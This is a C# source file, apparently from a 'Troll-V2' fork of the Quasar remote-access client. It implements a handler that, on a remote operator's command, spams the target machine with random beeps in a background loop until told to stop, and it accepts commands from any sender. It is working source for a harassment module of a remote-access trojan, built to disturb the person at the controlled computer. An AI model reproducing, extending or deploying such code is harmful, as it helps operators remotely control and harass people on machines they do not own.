Files
Troll-V2/Quasar.Client/Messages/BeepSpamHandler.cs
T
2026-08-27 11:22:16 -06:00

49 lines
1.3 KiB
C#

using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Threading;
namespace Quasar.Client.Messages
{
public class BeepSpamHandler : IMessageProcessor
{
private Thread _thread;
private volatile bool _running;
private readonly Random _rng = new Random();
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoStartBeepSpam) Start();
else if (message is DoStopBeepSpam) Stop();
}
private void Start()
{
if (_running) return;
_running = true;
_thread = new Thread(BeepLoop) { IsBackground = true };
_thread.Start();
}
private void Stop()
{
_running = false;
}
private void BeepLoop()
{
while (_running)
{
int freq = _rng.Next(200, 3000);
int dur = _rng.Next(30, 220);
try { Console.Beep(freq, dur); } catch { }
if (!_running) break;
Thread.Sleep(_rng.Next(0, 150));
}
}
}
}